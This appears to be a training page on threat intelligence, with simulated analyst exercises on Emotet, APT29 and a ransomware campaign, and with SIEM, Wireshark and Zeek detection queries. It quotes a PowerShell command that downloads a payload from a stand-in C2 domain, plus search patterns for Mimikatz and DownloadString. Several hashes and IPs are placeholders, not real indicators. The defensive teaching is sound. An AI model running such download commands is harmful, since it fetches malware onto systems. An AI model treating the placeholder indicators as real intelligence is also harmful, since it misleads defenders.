Threat Intelligence

. What is Threat Intelligence?

Threat Intelligence is data that has been collected, processed, and analyzed to understand potential or ongoing cyber threats. Its purpose is to help organizations make informed security decisions, prioritize threats, and implement preventive measures.

Types of Threat Intelligence:

  1. Strategic Threat Intelligence:

    • High-level information tailored for decision-makers like CISOs.

    • Focuses on understanding the overall threat landscape, geopolitical risks, and emerging trends.

    • Example: A report predicting increased ransomware activity in the healthcare sector.

  2. Tactical Threat Intelligence:

    • Focuses on the TTPs (Tactics, Techniques, and Procedures) of attackers.

    • Example: Details on a phishing campaign using specific email themes and payloads.

  3. Operational Threat Intelligence:

    • Real-time information about specific attacks or campaigns.

    • Helps in immediate response and containment.

    • Example: Alerts on a new malware variant spreading through email attachments.

  4. Technical Threat Intelligence:

    • Includes raw data such as file hashes, IP addresses, domain names, and URLs.

    • Directly used for detection and blocking in tools like firewalls and SIEMs.

2. Structure of Threat Intelligence Reports

Threat intelligence reports provide actionable insights to guide incident response and proactive defense. A typical report includes:

A. Executive Summary

  • A concise overview for stakeholders.

  • Highlights the threat, its impact, and recommended actions.

  • Example: "A new ransomware variant, XYZ, has been observed targeting financial institutions. It encrypts files and demands Bitcoin payments. Immediate patching of vulnerable systems is advised."

B. Threat Actor Profile

  • Provides details on the group or individual behind the attack.

  • Includes motivations, objectives, and history.

  • Example:

    • Name: APT28 (Fancy Bear)

    • Motivation: Espionage

    • Typical Targets: Government and defense sectors

    • Known TTPs: Spear phishing, credential dumping

C. Indicators of Compromise (IOCs)

  • Artifacts or evidence associated with the threat.

  • Examples:

    • File hashes: d41d8cd98f00b204e9800998ecf8427e

    • Malicious domains: malicious-example.com

    • IP addresses: 192.168.1.1

  • Importance:

    • Detect threats in network traffic or endpoint activity.

    • Automate defenses by feeding IOCs into SIEM, EDR, or IDS/IPS.

D. Kill Chain Analysis

  • Maps the threat's behavior to a recognized framework:

    • Cyber Kill Chain (Lockheed Martin): Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, Actions on Objectives.

    • MITRE ATT&CK: Provides detailed techniques under categories like Initial Access, Execution, Persistence, etc.

  • Example: A ransomware attack analyzed via MITRE might include:

    • Initial Access: Phishing email with a malicious link (T1566.001)

    • Execution: PowerShell execution of the payload (T1059.001)

E. Detection and Mitigation Recommendations

  • Specific steps to protect against the threat.

  • Example:

    • Apply patches for CVE-2024-1234.

    • Block domains/IPs associated with the threat.

    • Enable advanced logging for PowerShell and Windows Event IDs.

F. Case Studies

  • Real-world examples of attacks linked to the threat actor or campaign.

  • Useful for understanding the impact and adapting defenses.

3. How to Analyze Threat Intelligence Reports

Step 1: Understand the Threat Context

  • Identify the nature of the threat (e.g., ransomware, APT, phishing).

  • Determine the targeted sectors or organizations.

Step 2: Extract Relevant Information

  • Focus on TTPs to create detection rules.

  • Gather IOCs for immediate defensive measures.

Step 3: Map the Threat

  • Use the MITRE ATT&CK Navigator to map techniques.

  • Example: If the report mentions "Mimikatz was used for credential dumping," map it to T1003.001.

Step 4: Correlate with Your Environment

  • Use IOCs to check logs in SIEM or EDR solutions.

  • Example:

    • Search for connections to malicious IPs.

    • Investigate abnormal file creation or registry modifications.

Step 5: Implement Countermeasures

  • Prioritize recommendations based on risk to your environment.

  • Example:

    • If your organization uses an unpatched version of Apache Log4j, immediately apply patches or mitigate risks.

4. Researching Threat Intelligence

A. Threat Intelligence Sources

  1. Open-Source Intelligence (OSINT):

    • Free tools and platforms.

    • Examples:

      • VirusTotal: Check file hashes, URLs, and domains.

      • AlienVault OTX: Community-shared threat data.

      • Shodan: Scan for vulnerable systems or exposed devices.

  2. Commercial Intelligence Feeds:

    • Paid services with detailed, curated threat data.

    • Examples: CrowdStrike Threat Intelligence, FireEye Threat Intelligence, Recorded Future.

  3. Threat Intelligence Sharing Platforms:

    • Platforms for collaboration and intelligence exchange.

    • Examples:

      • MISP (Malware Information Sharing Platform)

      • ISACs (Information Sharing and Analysis Centers)

B. Key Tools for Research

  • Passive DNS Tools: Investigate suspicious domains (e.g., PassiveTotal).

  • WHOIS Lookup: Identify domain registration details.

  • Sandboxes: Analyze malware behavior (e.g., Cuckoo Sandbox, Any.run).

  • Threat Intel Platforms: MISP, ThreatConnect for managing and correlating data.

C. Research Workflow

  1. Start with OSINT tools to gather initial data (e.g., hash lookups in VirusTotal).

  2. Analyze IOCs in your environment (e.g., checking DNS logs for malicious domains).

  3. Create hypotheses about the attack chain based on TTPs.

  4. Test your hypotheses by mapping activity to MITRE ATT&CK.

5. Practical Exercise

Let’s simulate using a real-world report:

Scenario: You receive a report about an ongoing campaign using "Emotet."

  1. Extract the IOCs from the report:

    • Domains: abc123.com, malicious-site.net

    • IPs: 45.76.123.89, 104.24.100.10

    • Hashes: d41d8cd98f00b204e9800998ecf8427e

  2. Use tools:

    • Check the domains in VirusTotal.

    • Investigate logs in your SIEM for connections to those domains/IPs.

    • Search for the file hash in your environment.

  3. Create an actionable plan:

    • Block the domains/IPs in your firewall.

    • Quarantine any endpoints showing the file hash.

    • Notify your SOC team to monitor for further signs of Emotet.

Let’s work on another practical exercise for analyzing and applying threat intelligence. This one will focus on APT (Advanced Persistent Threat) detection using a simulated threat intelligence report.

Scenario:

You receive a threat intelligence report from a trusted source about an ongoing APT29 (Cozy Bear) campaign targeting organizations in the healthcare sector. The report includes TTPs, IOCs, and detection recommendations.

Threat Report Details:

  1. Executive Summary: APT29 is leveraging phishing emails with malicious attachments to gain initial access. Once inside, attackers use credential dumping tools and establish persistence via registry modifications.

  2. Indicators of Compromise (IOCs):

    • Malicious Email Subject: "Urgent COVID-19 Policy Update"

    • Malicious Attachment Name: Policy_Update.docm

    • Malicious IPs:

      • 185.45.67.89

      • 203.0.113.45

    • File Hashes:

      • MD5: 5d41402abc4b2a76b9719d911017c592

      • SHA256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b5c5b91b4fd5b6639a5b73b

    • Registry Keys:

      • Created: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater.exe

  3. TTPs (Mapped to MITRE ATT&CK):

    • Initial Access: Phishing email with macro-enabled document (T1566.001)

    • Execution: Malicious macro executes PowerShell commands (T1059.001)

    • Persistence: Registry Run Key (T1547.001)

    • Credential Dumping: Mimikatz for harvesting credentials (T1003.001)

    • Exfiltration: Data sent to 203.0.113.45 over HTTP (T1041)

  4. Detection and Mitigation Recommendations:

    • Search for IOCs in email logs, network traffic, and endpoints.

    • Enable advanced logging for PowerShell commands.

    • Monitor for unauthorized registry modifications.

Exercise:

Step 1: Extract and Use IOCs

  • Email Analysis:

    • Search for emails with the subject "Urgent COVID-19 Policy Update".

    • Identify recipients and verify if they opened the attachment.

  • Hash Validation:

    • Look for the file hash 5d41402abc4b2a76b9719d911017c592 in endpoint security logs or antivirus tools.

  • Network Traffic Analysis:

    • Check logs for connections to malicious IPs: 185.45.67.89 and 203.0.113.45.

  • Registry Monitoring:

    • Inspect endpoints for the creation of Updater.exe under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Step 2: Map Activities to the Attack Chain

Use the MITRE ATT&CK framework to understand the attack flow and build detection mechanisms:

  1. Initial Access: Look for emails with malicious macro-enabled documents (T1566.001).

    • Create SIEM queries to alert on such email patterns.

  2. Execution: Identify unusual PowerShell scripts (T1059.001).

    • Enable PowerShell logging (Module Logging and Script Block Logging).

  3. Persistence: Monitor new entries in registry Run Keys (T1547.001).

    • Example Windows Event ID to monitor: Event ID 4657 (Registry modification).

  4. Credential Dumping: Monitor processes executing Mimikatz-like behavior (T1003.001).

    • Example detection:

      • Look for processes accessing LSASS (lsass.exe).

      • Event ID: 4624 with suspicious logon types.

Step 3: Investigate Using Tools

  1. SIEM Queries:

Search for Malicious Email Subjects:

index=email_logs
| search subject="Urgent COVID-19 Policy Update"

Find Connections to Malicious IPs:


index=network_traffic
| search dest_ip="185.45.67.89" OR dest_ip="203.0.113.45"

Detect PowerShell Commands

index=endpoint_logs
| search process_name="powershell.exe" AND (command_line="*Invoke-Mimikatz*" OR command_line="*DownloadString*")

  1. Endpoint Detection:

    • Use EDR tools like CrowdStrike or Microsoft Defender for Endpoint to search for:

      • The file hash 5d41402abc4b2a76b9719d911017c592.

      • Registry modifications related to Updater.exe.

  2. Network Monitoring:

    • Check firewall and proxy logs for traffic to 203.0.113.45 over HTTP.

    • Use tools like Wireshark to analyze packet captures for exfiltration patterns.

Step 4: Mitigation Steps

  • Containment:

    • Block malicious IPs on firewalls.

    • Quarantine endpoints showing malicious activity.

  • Prevention:

    • Disable macros in Microsoft Office by default.

    • Implement URL filtering for suspicious domains.

  • Hunting:

    • Search for other potential indicators of the same campaign.

    • Look for lateral movement signs, such as unusual RDP or SMB activity.

Step 5: Report Your Findings

Prepare a detailed report with your analysis:

  1. Threat Description: Summarize the APT campaign.

  2. Findings:

    • List affected systems, emails, or network traffic identified.

  3. Actions Taken:

    • Steps like blocking IPs, disabling macros, or quarantining systems.

  4. Recommendations:

    • Suggest preventive measures like awareness training for phishing.

--

Let's dive into another Practical Exercise focused on threat intelligence utilization and detection. This one will simulate an analysis of a campaign by a ransomware threat actor.

Scenario: Ransomware Campaign Detected

A report from a trusted threat intelligence source reveals that a ransomware group known as "BlackSpider" has been conducting attacks on financial organizations. The attackers use phishing emails to deliver a malicious Excel file, which downloads ransomware. The ransomware encrypts files and demands Bitcoin payment.

Threat Report Details

  1. Executive Summary:

    • BlackSpider is targeting financial institutions through phishing campaigns.

    • Malicious Excel files contain macros that download a payload, encrypt files, and exfiltrate sensitive data.

    • The ransomware communicates with its command-and-control (C2) servers for key exchange.

  2. Indicators of Compromise (IOCs):

    • Malicious Domains:

      • malicious-excel-c2.net

      • ransom-payload-c2.io

    • File Hashes:

      • MD5: 8e35f4b5b1f4e723fe7c8bb67f29ec3a

      • SHA256: ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38

    • PowerShell Commands:

      • Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe

    • Malware Executable Name: ransomware_payload.exe

    • Bitcoin Wallet Address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa

  3. TTPs (Mapped to MITRE ATT&CK):

    • Initial Access: Phishing email with malicious Excel attachment (T1566.001).

    • Execution: Macro executes PowerShell to download the payload (T1059.001).

    • Persistence: Scheduled tasks to execute the ransomware at system startup (T1053.005).

    • Impact: Encrypting files and displaying a ransom note (T1486).

  4. Detection Recommendations:

    • Monitor network traffic for connections to malicious-excel-c2.net.

    • Detect PowerShell commands that include suspicious Invoke-WebRequest activity.

    • Search endpoints for the malware hash and executable name.

Exercise: Simulated Detection and Analysis

Step 1: Extract Key IOCs

  1. Domains:

    • malicious-excel-c2.net

    • ransom-payload-c2.io

  2. File Hashes:

    • 8e35f4b5b1f4e723fe7c8bb67f29ec3a

    • ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38

  3. Commands:

    • Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe

  4. Persistence Mechanism:

    • Check scheduled tasks created by ransomware_payload.exe.

Step 2: Analyze Logs Using SIEM Queries

  1. Search for Malicious Domains:

    index=network_traffic
| search dest_domain="malicious-excel-c2.net" OR dest_domain="ransom-payload-c2.io"

  2. Look for File Hashes in Endpoint Logs:

    index=endpoint_logs
| search file_hash="8e35f4b5b1f4e723fe7c8bb67f29ec3a" OR file_hash="ab43a1b3e4d8cd94f71280e6ef6a248bcd0b25e923e77fc60b54d52b12045a38"

  3. Detect PowerShell Commands:

    index=endpoint_logs
| search process_name="powershell.exe" AND command_line="Invoke-WebRequest -Uri http://malicious-excel-c2.net/payload.exe"

  4. Investigate Scheduled Tasks:

    index=endpoint_logs
| search event_id=4698 AND task_name="ransomware_payload.exe"

Step 3: Network Analysis

Using tools like Wireshark or Zeek, inspect for:

  1. Outbound Connections:

    • Check for HTTP/HTTPS connections to malicious-excel-c2.net.

    • Example Wireshark filter:

      arduinoCopy codehttp.host == "malicious-excel-c2.net"

  2. Data Exfiltration:

    • Look for abnormal file uploads to ransom-payload-c2.io.

    • Example Zeek script:

      bashCopy codecat http.log | grep "POST /upload" | grep "ransom-payload-c2.io"

Step 4: Endpoint Analysis

Using an endpoint detection tool (e.g., CrowdStrike, Microsoft Defender):

  1. Search for ransomware_payload.exe in process and file activity logs.

  2. Investigate registry modifications for persistence:

    • Example registry path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

    • Use Windows Event ID 4657 to track registry changes.

Step 5: Mitigation Steps

  1. Containment:

    • Block malicious-excel-c2.net and ransom-payload-c2.io on your firewall and proxy.

    • Quarantine endpoints where ransomware_payload.exe is detected.

  2. Prevention:

    • Disable macros in Excel by default across the organization.

    • Implement PowerShell script restrictions using Group Policy.

  3. Remediation:

    • Remove persistence mechanisms (e.g., scheduled tasks, registry keys).

    • Restore files from backups if ransomware encryption is detected.

Step 6: Create an Incident Report

  • Summary of Attack:

    • Describe the ransomware campaign and how it was delivered.

  • Findings:

    • List infected systems, identified IOCs, and suspicious activities.

  • Actions Taken:

    • Explain containment, eradication, and remediation steps.

  • Recommendations:

    • Suggest measures to strengthen defenses (e.g., phishing awareness, endpoint monitoring).

PreviousThreat Hunting TerminologyNextPractical Exercise on threat intelligence

Last updated